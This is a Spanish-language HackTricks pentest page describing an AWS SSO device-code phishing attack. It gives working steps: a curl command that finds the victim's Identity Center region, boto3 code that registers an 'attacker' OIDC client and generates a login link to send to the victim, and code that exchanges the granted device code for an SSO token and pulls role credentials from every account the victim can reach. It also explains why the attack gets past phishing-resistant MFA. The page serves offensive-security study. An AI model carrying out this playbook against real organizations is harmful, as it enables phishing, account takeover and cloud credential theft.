AWS - Identity Center & SSO Unauthenticated Enum

Apoya a HackTricks

AWS Device Code Phishing

Propuesto inicialmente en esta publicación de blog, es posible enviar un enlace a un usuario que usa AWS SSO que si el usuario acepta el atacante podrá obtener un token para hacerse pasar por el usuario y acceder a todos los roles a los que el usuario puede acceder en el Identity Center.

Para realizar este ataque los requisitos son:

  • La víctima necesita usar Identity Center

  • El atacante debe conocer el subdominio usado por la víctima <victimsub>.awsapps.com/start

Solo con la información anterior, el atacante podrá enviar un enlace al usuario que si es aceptado otorgará al atacante acceso a la cuenta del usuario de AWS.

Ataque

  1. Encontrar el subdominio

El primer paso del atacante es averiguar el subdominio que la empresa víctima está usando en su Identity Center. Esto se puede hacer mediante OSINT o adivinanza + BF ya que la mayoría de las empresas usarán su nombre o una variación de su nombre aquí.

Con esta información, es posible obtener la región donde se configuró el Identity Center con:

curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
"region":"us-east-1
  1. Generar el enlace para la víctima y enviarlo

Ejecuta el siguiente código para generar un enlace de inicio de sesión de AWS SSO para que la víctima pueda autenticarse. Para la demostración, ejecuta este código en una consola de python y no la cierres ya que más tarde necesitarás algunos objetos para obtener el token:

import boto3

REGION = 'us-east-1' # CHANGE THIS
AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS

sso_oidc = boto3.client('sso-oidc', region_name=REGION)
client = sso_oidc.register_client(
clientName = 'attacker',
clientType = 'public'
)

client_id = client.get('clientId')
client_secret = client.get('clientSecret')
authz = sso_oidc.start_device_authorization(
clientId=client_id,
clientSecret=client_secret,
startUrl=AWS_SSO_START_URL
)

url = authz.get('verificationUriComplete')
deviceCode = authz.get('deviceCode')
print("Give this URL to the victim: " + url)

Envía el enlace generado a la víctima usando tus increíbles habilidades de ingeniería social.

  1. Espera hasta que la víctima lo acepte

Si la víctima ya estaba conectada en AWS, solo necesitará aceptar la concesión de permisos; si no lo estaba, necesitará iniciar sesión y luego aceptar la concesión de permisos. Así es como se ve el aviso hoy en día:

  1. Obtén el token de acceso SSO

Si la víctima aceptó el aviso, ejecuta este código para generar un token SSO suplantando al usuario:

token_response = sso_oidc.create_token(
clientId=client_id,
clientSecret=client_secret,
grantType="urn:ietf:params:oauth:grant-type:device_code",
deviceCode=deviceCode
)
sso_token = token_response.get('accessToken')

El token de acceso SSO es válido por 8h.

  1. Suplantar al usuario

sso_client = boto3.client('sso', region_name=REGION)

# List accounts where the user has access
aws_accounts_response = sso_client.list_accounts(
accessToken=sso_token,
maxResults=100
)
aws_accounts_response.get('accountList', [])

# Get roles inside an account
roles_response = sso_client.list_account_roles(
accessToken=sso_token,
accountId=<account_id>
)
roles_response.get('roleList', [])

# Get credentials over a role

sts_creds = sso_client.get_role_credentials(
accessToken=sso_token,
roleName=<role_name>,
accountId=<account_id>
)
sts_creds.get('roleCredentials')

Phishing the unphisable MFA

Es divertido saber que el ataque anterior funciona incluso si se está utilizando un "MFA infalsificable" (webAuth). Esto se debe a que el flujo de trabajo anterior nunca deja el dominio OAuth utilizado. A diferencia de otros ataques de phishing donde el usuario necesita suplantar el dominio de inicio de sesión, en este caso, el flujo de trabajo del código de dispositivo está preparado para que un código sea conocido por un dispositivo y el usuario pueda iniciar sesión incluso en una máquina diferente. Si se acepta el aviso, el dispositivo, solo con conocer el código inicial, podrá recuperar credenciales para el usuario.

Para más información sobre esto consulta este post.

Automatic Tools

References

Support HackTricks

Last updated